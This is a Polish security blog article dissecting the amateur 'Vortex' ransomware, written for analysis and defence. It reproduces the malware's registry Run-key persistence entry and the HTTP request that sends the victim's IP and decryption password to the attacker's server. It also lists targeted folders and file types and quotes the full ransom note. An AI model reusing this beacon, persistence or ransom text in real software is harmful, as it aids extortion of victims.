Czasem niektórzy przestępcy bywają odrobinę sprytniejsi od konkurencji i odnajdują sposoby, by utrudnić analizę swojej aktywności. Na taki przypadek natrafiliśmy na początku tego roku – lecz w końcu udało się go częściowo wyjaśnić.
Pod koniec stycznia do specjalistów zajmujących się bezpieczeństwem zaczęły zgłaszać się ofiary nowego rodzaju ransomware. Przypadki te były ciekawe z dwóch powodów. Po pierwsze autor ransomware wydawał się być Polakiem, a po drugie nikt nie potrafił znaleźć próbki programu szyfrującego ani poznać metody jego dystrybucji mimo iż ofiar było co najmniej kilka. Powoli jednak można odsłonić rąbka tajemnicy i zajrzeć do nad wyraz amatorskiego – choć niestety chyba skutecznego polskiego ransomware.
Anonimowi Analitycy na tropie
Pierwsze ślady Polskiego Ransomware pojawiły się w serwisie Pastebin. Można było się z nich dowiedzieć, że z autorem programu można skontaktować się pod adresami [email protected] lub [email protected] a także pod nr GaduGadu 61621122. Koszt odszyfrowania danych miał wynosić 249 dolarów a obsługa klienta wyglądała na całkowicie manualną. Przez dłuższy czas w sprawie nie działo się nic znaczącego (oprócz pojawiania się kolejnych ofiar), aż do wczoraj, kiedy to ogłoszono zdobycie próbki złośliwego oprogramowania.
Okazało się, że ransomware ewoluował co można rozpoznać po nazwie „Vortex” nieobecnej we wcześniejszych notatkach. W sieci pojawiły się już pierwsze, dość surowe analizy a Orange zablokował swoim klientom dostęp do serwerów sterujących. Zespół Anonimowych Analityków naszego serwisu przyjrzał się udostępnionej próbce i choć śmiał się długo z metod jej działania, to przyznał, że brak prostej metody odzyskania plików.
Albański ransomware
Pamiętacie albańskiego wirusa, którego każdy musiał sam uruchomić? Z tym ransomware jest dość podobnie. Metodą jego dystrybucji zajmiemy się za chwilę, zacznijmy od konstrukcji. Program napisany jest w języku C# i nie jest w żaden sposób zaciemniony, spakowany ani zaszyfrowany. Wystarczy wczytać go do aplikacji dotPeek by obejrzeć od początku do końca. Co więcej, program wykorzystuje w przeważającej części projekt AESxWin znajdujący się na GitHubie. AESxWin to program, który wg jego autora ma być wykorzystywany do szyfrowania za pomocą algorytmu AES plików przesyłanych do chmury – i faktycznie na taki wygląda, został jednak zmodyfikowany. Po uruchomieniu wyświetla takie oto okienko.
Co ciekawe, szybkie kliknięcie w guzik „Stop” zatrzymuje szyfrowanie plików. O poziomie zaawansowania „programisty” tego ransomware świadczy także kawałek kodu uruchamiającego proces szyfrowania, w którym zamiast wywołać bezpośrednio konkretną funkcję w aplikacji, autor wywołuje zdarzenie „Click” na przycisku i dopiero ten przycisk uruchamia odpowiednia funkcję. #AnalitykPłakałJakAnalizował
Uruchomiony ransomware przede wszystkim potrzebuje klucza do szyfrowania plików. Autor postanowił ominąć tworzenie tego skomplikowanego element kodu (którego nie było w przerabianej aplikacji) i zdecydował się na odwołanie do publicznie dostępnej usługi. Żądanie wysłane do serwera wygląda tak:
http://www.sethcardoza.com/api/rest/tools/random_password_generator/length:40/complexity:alphaNumeric
W odpowiedzi program otrzymuje ciąg 40 znaków, który wygląda na losowy (badanie jego losowości jest osobnym zadaniem, którego się nie podejmujemy). W kolejnym kroku program sprawdza adres IP zainfekowanego komputera. Ponownie zadanie przerosło osobę modyfikującą kod, ponieważ odwołuje się w tym celu do zewnętrznego serwera:
https://api.ipify.org/
W odpowiedzi otrzymuje adres IP. Program dodaje także klucz do rejestru zapewniający ponowne uruchomienie w razie problemów.
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] “AESxWin”=”c:\\katalog\\nazwapliku.exe”
Jeśli złośliwy program nie otrzyma odpowiedzi serwera serwującego klucz lub zostanie zatrzymany guzikiem „Stop”, to nie zaszyfruje danych. Jeśli jednak uruchomimy ponownie komputer, to program uruchomi się z rejestru i ponownie spróbuje zaszyfrować pliki. Dlatego jeśli zablokujemy jego wykonanie, trzeba go jeszcze usunąć z rejestru przed restartem komputera.
Jak już wspominaliśmy wcześniej, ten ransomware to modyfikacja ogólnodostępnego programu do szyfrowania kopii zapasowych, stąd też uruchomienie pliku z parametrem /reg powoduje dodanie do menu pod prawym przyciskiem myszy opcji szyfrowania oraz deszyfrowania plików i katalogów.
Uruchomienie z parametrem /unreg wyłącza tę opcję.
Po zebraniu opisanych wyżej danych program “melduje” się na serwerze przestępcy wysyłając zebrane informacje wraz z wygenerowanym hasłem do odszyfrowania plików. Całość komunikacji odbywa się przez nieszyfrowany protokół HTTP, co może pomóc w odzyskaniu klucza do odszyfrowania danych (o ile ktoś przez przypadek nagrywa cały ruch wychodzący HTTP).
GET /sss/post.php?IP=XXX.XXX.XXX.XXX&ID=a11a111a-1111-11e1-a111-a1aa1a1a11a1&Data=01-02-2017&Haslo=8Aeils0nCEBHHakMD3V48kOcpLHt1DbgPY7NnmwA HTTP/1.1 Host: wielkijopl.temp.swtest.ru Connection: Keep-Alive
Po wysłaniu danych program przystępuje do szyfrowania plików. Jego celem są pliki znajdujące się w następujących katalogach:
- Environment.SpecialFolder.Personal -> Katalog, który służy jako wspólne repozytorium do dokumentów użytkownika.
- Environment.SpecialFolder.Recent -> Katalog zawierający odwołania do ostatnio używanych dokumentów użytkownika.
- Environment.SpecialFolder.MyPictures -> Katalog „Moje Obrazy”
- Environment.SpecialFolder.MyMusic -> Katalog „Moja Muzyka”
- Environment.SpecialFolder.Favorites -> Katalog, który służy jako wspólne repozytorium „elementów ulubionych” użytkownika.
- Environment.SpecialFolder.ProgramFiles -> Katalog „Program Files”
- Environment.SpecialFolder.DesktopDirectory -> Katalog „Pulpit” zawierający dane z pulpitu użytkownika
- Environment.SpecialFolder.System -> Katalog systemowy
- Environment.SpecialFolder.MyComputer -> Katalog „Mój Komputer”
- oraz główne katalogi wszystkich napędów w komputerze (np. C:\, D:\ itp.)
Do nazw zaszyfrowanych plików dodawany jest ciąg „aes”. Próbka którą analizowaliśmy przygotowana jest do szyfrowania całej gamy różnych plików w tym m.in:
- image_ext = new string[] { „.jpg”, „.jpeg”, „.png”, „.gif”, „.bmp” };
- video_ext = new string[] { „.avi”, „.flv”, „.mov”, „.mp4”, „.mpg”, „.rm”, „.rmvb”, „.mkv”, „.swf”, „.vob”, „.wmv”, „.3g2”, „.3gp”, „.asf”, „.ogv” };
- audio_ext = new string[] { „.mp3”, „.wav”, „.acc”, „.ogg”, „.amr”, „.wma” };
- document_ext = new string[] { „.pdf”, „.txt”, „.rtf”, „.doc”, „.docx”, „.ppt”, „.pptx”, „.xls”, „.xlsx” };
- compressed_ext = new string[] { „.zip”, „.rar”, „.7z”, „.tar”, „.gzip” };
- code_ext = new string[] { „.cs”, „.vb”, „.java”, „.py”, „.rb”, „.cpp”, „.html”, „.css”, „.js” };
Z nieznanego nam powodu (wydajność?) jej funkcje zostały ograniczone do szyfrowania jedynie plików graficznych z rozszerzeniami zdefiniowanymi w zmiennej “image_ext”. Postęp szyfrowania zapisywany jest do logu, w którym znajdziemy m.in pierwsze cztery znaki użytego do szyfrowania hasła oraz inne informacje typu “DEBUG” wskazujące na to co program robił i które pliki zaszyfrował. Plik znajdziemy w:
C:\ProgramData\Keyboard\09032017_235247.log (nazwa z data i godzina rozpoczęcia)
Zawartość logu wygląda tak:
------------------------ 00-00-2017 00:01:20: Start programu 00-00-2017 00:01:22: Pobrano nowe hasło. oJGB 00-00-2017 00:01:22: Rozpoczęto przeszukiwanie lokalizacji: C:\Users\<Nazwa Uzytkownika>\Documents C:\Users\<Nazwa Uzytkownika>\AppData\Roaming\Microsoft\Windows\Recent C:\Users\<Nazwa Uzytkownika>\Pictures C:\Users\<Nazwa Uzytkownika>\Music C:\Users\<Nazwa Uzytkownika>\Videos C:\Users\<Nazwa Uzytkownika>\Favorites C:\Users\Public\Documents C:\Users\Public\Pictures C:\Users\Public\Music C:\Users\Public\Videos C:\Users\Public\Desktop C:\ 00-00-2017 00:01:22: Ustalono adres IP. XXX.XXX.XXX.XXX 00-00-2017 00:01:24: Zaszyfrowano: zdjecie1.jpg | C:\Users\<Nazwa Uzytkownika>\Documents\zdjecie1.jpg Hasło=oJGB 00-00-2017 00:01:24: Zaszyfrowano: zdjecie2.jpg | C:\Users\<Nazwa Uzytkownika>\Pictures\zdjecie2.jpg Hasło=oJGB 00-00-2017 00:01:25: Zaszyfrowano: Chrysanthemum.jpg | C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg Hasło=oJGB 00-00-2017 00:01:25: Zaszyfrowano: Desert.jpg | C:\Users\Public\Pictures\Sample Pictures\Desert.jpg Hasło=oJGB ------------------------
Po zaszyfrowaniu, w katalogu gdzie ransomware znalazł pliki z listy do zaszyfrowania, tworzony jest plik ODZSZYFRUJ-DANE.txt z informacją o okupie i sposobie komunikacji z przestępcami.
ᏉᎾᏒᏆᎬx ᏒᎪᏁsᎾmᎳᎪᏒᎬ Nie możesz znaleźć potrzebnych plików na dysku twardym ? Zawartość Twoich plików jest nie do otwarcia? Jest to skutek działania programu który zaszyfrował większość Twoich danych przy pomocy silnego alogrytmu AES-256, używanego min. przez służby mundurowe do zatajania danych przesyłanych drogą elektroniczną. Jedyna metoda aby odzyskać Twoje pliki to wykupienie od nas programu deszyfrującego, wraz z jednorazowym kluczem wygenerowanym unikalnie dla Ciebie! Gdy już postanowisz odzyskać swoje dane skontaktuj się z nami pod adrem e - mail: [email protected] lub [email protected] 2 Pliki odszyfrujemy za darmo aby udowodnić że jesteśmy w stanie tego dokonać, Za resztę niestety musisz zapłacić ! Cena za odszyfrowanie wszystkich plików: 199$ Uwaga !Nie marnuj czasu, czas to pieniądz za 4 dni cena wzrośnie o 100 % ! IP=XXX.XXX.XXX.XXX ID=111111111-1111-1111-11111111111111111 Data=11-11-2017
Po zakończeniu szyfrowania ransomware kasuje swój plik (wykonując plik exec.bat, którego niestety nie udało się nam zlokalizować) oraz usuwa wpisy z rejestru, by uniknąć wykrycia.
Dystrybucja, atrybucja i unikanie ataku
Ciekawym wątkiem jest dystrybucja tego ransomware. Jakim cudem przez ponad miesiąc unikał rozpoznania i wrzucenia na VirusTotal, jeśli w tym czasie infekował internautów? Odpowiedzi możemy prawdopodobnie szukać w fakturach Playa lub emailach od Zary. W opisywanych przez nas kampaniach autor używał nietypowego konia trojańskiego, napisanego w całości w języku JavaScript. Trojan ten był autorstwa osoby arabskojęzycznej, podobnie jak program szyfrujący użyty do stworzenia ransomware Vortex. Prawdopodobnie opisywany ransomware jest wgrywany ręcznie na komputery wybranych ofiar javascriptowego konia trojańskiego, co tłumaczy długi czas potrzebny do wykrycia próbki.
W kodzie znaleźć można także następującą ścieżkę:
C:\Users\KOT-GIGANT\Desktop\muzyka\aeS\anna.php_pliki\AESxWin-master (6)\AESxWin-master\AESxWin\obj\Debug\AESxWin.pdb
Kot gigant to ciekawy pseudonim. Google wskazuje utwór Tedego pod tym samym tytułem, a my wspominamy pewnego miłośnika taniego malware, który często słucha polskiego rapu.
Autora ransomware i całej kampanii niezmiennie prosimy o kontakt – mamy kilka pytań.
Komentarze
Rozjebaliscie mi interes ;(
W sumie to ciekawe czy w n6 już znalazły się indykatory umożliwiające wykrycie zagrożenia.
Anonimowi Analitycy to jest dobra nazwa, zapamiętam
anonimowy anal, gejpol zemsta sitków
„Autora ransomware i całej kampanii niezmiennie prosimy o kontakt – mamy kilka pytań.”
„ile na umowe pan chce? dołączy pan do nas?” kek
chciałbym ci Brandom powiedzieć że się mylisz ! Delma nigdy tego nie powiedziała
Ten klucz to zwykłe UUID tutaj można więcej o tym przeczytać https://en.wikipedia.org/wiki/Universally_unique_identifier
+10 za totalcmd, -20 za zamazanie nazwy „Lister” w belce okna
„W kolejnym kroku program sprawdza adres IP zainfekowanego komputera. Ponownie zadanie przerosło osobę modyfikującą kod, ponieważ odwołuje się w tym celu do zewnętrznego serwera”
Nie do końca się z wami zgadzam – jeżeli komputer jest za NATem to jest to całkiem dobra metoda na sprawdzenie IP.
Nie tyle niektórzy co większość. Prawie każdy ma w domu swój trasownik. Od wewnątrz nie da się sprawdzić „zewnętrznego” IP.
[email protected]
Openmailbox RZYG.
Idioci pozwalali rejstrowac się w nieskończość bez żadnych captchy przez co zamienili usługe w spamers haven. Łaskawcy poprawili ale co z tego jak teraz mi maile nie dochodzą albo wpadają do spamu.
to taki offtop.
Mało finezyjne? Mało. Działa? Działa. Imo staracie się nadmiernie poniżyc autora ransoma. Czy słusznie czy nie to już każdy sobie wydedukuje.
Zastanawiam się, dlaczego nikt nie pokusi się o analizę zachowania naiwnych ludzi, którzy jak tylko widzą wiadomość o swoich pieniądzach, to od razu klikają..
Oferta, którą przylukałem wczoraj:
https://oferia.pl/zlecenie/item1763592-przechwytywanie-obrazu-z-komputera